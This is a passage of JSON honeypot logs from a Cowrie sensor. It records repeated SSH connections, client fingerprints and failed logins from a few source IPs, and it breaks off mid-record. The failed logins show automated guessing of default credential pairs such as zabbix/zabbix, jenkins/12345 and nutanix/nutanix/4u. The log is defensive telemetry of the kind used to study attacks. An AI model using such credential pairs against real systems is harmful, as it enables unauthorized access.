{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:31.238675Z","src_ip":"192.109.200.237","session":"03e737ebdd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:31.488758Z","src_ip":"192.109.200.237","session":"03e737ebdd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:32.575809Z","src_ip":"192.109.200.237","session":"03e737ebdd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35438,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b30cde2429","protocol":"ssh","message":"New connection: 192.109.200.237:35438 (159.203.135.109:22) [session: e3b30cde2429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:34.215102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:34.305802Z","src_ip":"192.109.200.237","session":"e3b30cde2429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:34.309734Z","src_ip":"192.109.200.237","session":"e3b30cde2429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:34.650089Z","src_ip":"192.109.200.237","session":"e3b30cde2429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:35.736119Z","src_ip":"192.109.200.237","session":"e3b30cde2429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35462,"dst_ip":"159.203.135.109","dst_port":22,"session":"823c039c748e","protocol":"ssh","message":"New connection: 192.109.200.237:35462 (159.203.135.109:22) [session: 823c039c748e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:37.482261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:37.486752Z","src_ip":"192.109.200.237","session":"823c039c748e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:37.568192Z","src_ip":"192.109.200.237","session":"823c039c748e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:37.812400Z","src_ip":"192.109.200.237","session":"823c039c748e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:38.897577Z","src_ip":"192.109.200.237","session":"823c039c748e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":47075,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bcf3dc3ab14","protocol":"telnet","message":"New connection: 186.195.16.41:47075 (159.203.135.109:23) [session: 4bcf3dc3ab14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:40.478958Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed238a43905a","protocol":"ssh","message":"New connection: 192.109.200.237:47106 (159.203.135.109:22) [session: ed238a43905a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:40.670056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:40.674973Z","src_ip":"192.109.200.237","session":"ed238a43905a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:40.756963Z","src_ip":"192.109.200.237","session":"ed238a43905a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:41.002473Z","src_ip":"192.109.200.237","session":"ed238a43905a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:42.114594Z","src_ip":"192.109.200.237","session":"ed238a43905a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a92dd6a346b","protocol":"ssh","message":"New connection: 192.109.200.237:47136 (159.203.135.109:22) [session: 2a92dd6a346b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:43.870267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:43.875194Z","src_ip":"192.109.200.237","session":"2a92dd6a346b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:43.957182Z","src_ip":"192.109.200.237","session":"2a92dd6a346b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:44.351324Z","src_ip":"192.109.200.237","session":"2a92dd6a346b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57530,"dst_ip":"159.203.135.109","dst_port":22,"session":"0942365fb65a","protocol":"ssh","message":"New connection: 80.94.92.184:57530 (159.203.135.109:22) [session: 0942365fb65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:45.401864Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:45.439909Z","src_ip":"192.109.200.237","session":"2a92dd6a346b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:45.569354Z","src_ip":"80.94.92.184","session":"0942365fb65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:45.572585Z","src_ip":"80.94.92.184","session":"0942365fb65a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:46.723607Z","src_ip":"80.94.92.184","session":"0942365fb65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47174,"dst_ip":"159.203.135.109","dst_port":22,"session":"2973b0bef6f6","protocol":"ssh","message":"New connection: 192.109.200.237:47174 (159.203.135.109:22) [session: 2973b0bef6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:47.229119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:47.234039Z","src_ip":"192.109.200.237","session":"2973b0bef6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:47.315846Z","src_ip":"192.109.200.237","session":"2973b0bef6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:47.560650Z","src_ip":"192.109.200.237","session":"2973b0bef6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:48.648300Z","src_ip":"192.109.200.237","session":"2973b0bef6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:49.186984Z","src_ip":"80.94.92.184","session":"0942365fb65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46630,"dst_ip":"159.203.135.109","dst_port":22,"session":"08d7346b1178","protocol":"ssh","message":"New connection: 192.109.200.237:46630 (159.203.135.109:22) [session: 08d7346b1178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:50.455240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:50.459660Z","src_ip":"192.109.200.237","session":"08d7346b1178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:50.543467Z","src_ip":"192.109.200.237","session":"08d7346b1178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:50.795668Z","src_ip":"192.109.200.237","session":"08d7346b1178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:51.881427Z","src_ip":"192.109.200.237","session":"08d7346b1178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46642,"dst_ip":"159.203.135.109","dst_port":22,"session":"835a1c5172e5","protocol":"ssh","message":"New connection: 192.109.200.237:46642 (159.203.135.109:22) [session: 835a1c5172e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:53.637885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:53.643177Z","src_ip":"192.109.200.237","session":"835a1c5172e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm